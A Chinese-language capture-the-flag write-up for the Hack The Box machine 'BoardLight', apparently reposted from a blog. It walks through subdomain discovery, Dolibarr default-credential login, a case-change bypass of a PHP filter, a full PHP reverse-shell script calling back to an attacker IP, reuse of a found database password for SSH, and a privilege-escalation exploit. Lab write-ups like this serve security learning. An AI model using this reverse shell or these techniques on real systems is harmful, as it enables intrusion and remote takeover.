当前位置: 首页> 汽车> 新车 > htb_BoardLight

htb_BoardLight

时间:2025/7/28 1:05:50来源:https://blog.csdn.net/weixin_62621015/article/details/139297110 浏览次数: 0次

在这里插入图片描述

信息收集

nmap -sSVC 10.10.11.11

在这里插入图片描述

开放80端口,将boardlight.htb写入/etc/hosts

同步进行子域名和目录扫描

子域名扫不到

在这里插入图片描述

这个目录扫描很奇怪哈,明明访问80端口有页面,就是扫不出来

在这里插入图片描述

直接浏览器访问80端口,四处看看,发现一个contact.php页面

尝试注入,但是抓包发现它居然没传参过去,不知道是我的电脑抽风了还是怎么样了,反正就是不了了之

在这里插入图片描述

网站功能上找不到漏洞点,尝试查看页面源代码

查看index.php页面代码

搜索htb关键词,发现一个board.htb域名,添加入/etc/hosts

在这里插入图片描述

使用新得到的域名再进行子域名扫描,发现域名crm.board.htb

在这里插入图片描述

添加入/etc/hosts后访问,页面显示Dolibarr的登录框

在这里插入图片描述

搜索后发现dolibarr有默认密码,尝试登录

在这里插入图片描述

模板漏洞利用

四处看看,找到一个熟悉的可以写入template的地方

按照页面提示新建website和page

在这里插入图片描述

创建成功后发现页面有一个Edit HTML Source按钮

在这里插入图片描述

点进去发现可以写入php代码

尝试写入

<?php echo "hhhh";?>

提示什么权限不足???不太记得(忘记截屏了)

换一个代码写入

<?php echo system("id");?>

这次提示不允许添加php动态代码

在这里插入图片描述

尝试绕过

最简单的大小写就行了

在这里插入图片描述

保存后返回

记得开启show dynamic content 选项,不然看不见代码执行内容

代码成功执行

在这里插入图片描述

尝试写入php反弹shell命令

在这里插入图片描述

记得把php弄成大小写的

<?phPset_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.28';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}chdir("/");umask(0);// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

攻击机开启监听

接收到反弹shell

在这里插入图片描述

翻翻找找

/var/www/html/crm.board.htb/htdoce/conf目录下发现配置文件

在这里插入图片描述

发现dolibarr用户数据库密码

dolibarr 
dolibarrownerserverfun2$2023!!

在这里插入图片描述

尝试登入数据库失败,于是查看/etc/passwd,发现根本没有dolibarr或者dolibarrowner用户

在这里插入图片描述

回到/home目录下查看,发现只有一个用户larissa

目标机器开放了22端口,尝试用配置文件里的密码ssh登陆larissa

虽然很莫名其妙,但是登进来了

在这里插入图片描述

提权

larissa无权限进行sudo -l

上传linpeas.sh

wget http://10.10.14.28:8888/linpeas.sh

在这里插入图片描述

发现有enlightenment服务

在这里插入图片描述

搜索后发现该服务存在提权漏洞

在这里插入图片描述

下载payload后上传靶机

在这里插入图片描述

直接利用
在这里插入图片描述

关键字:htb_BoardLight

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: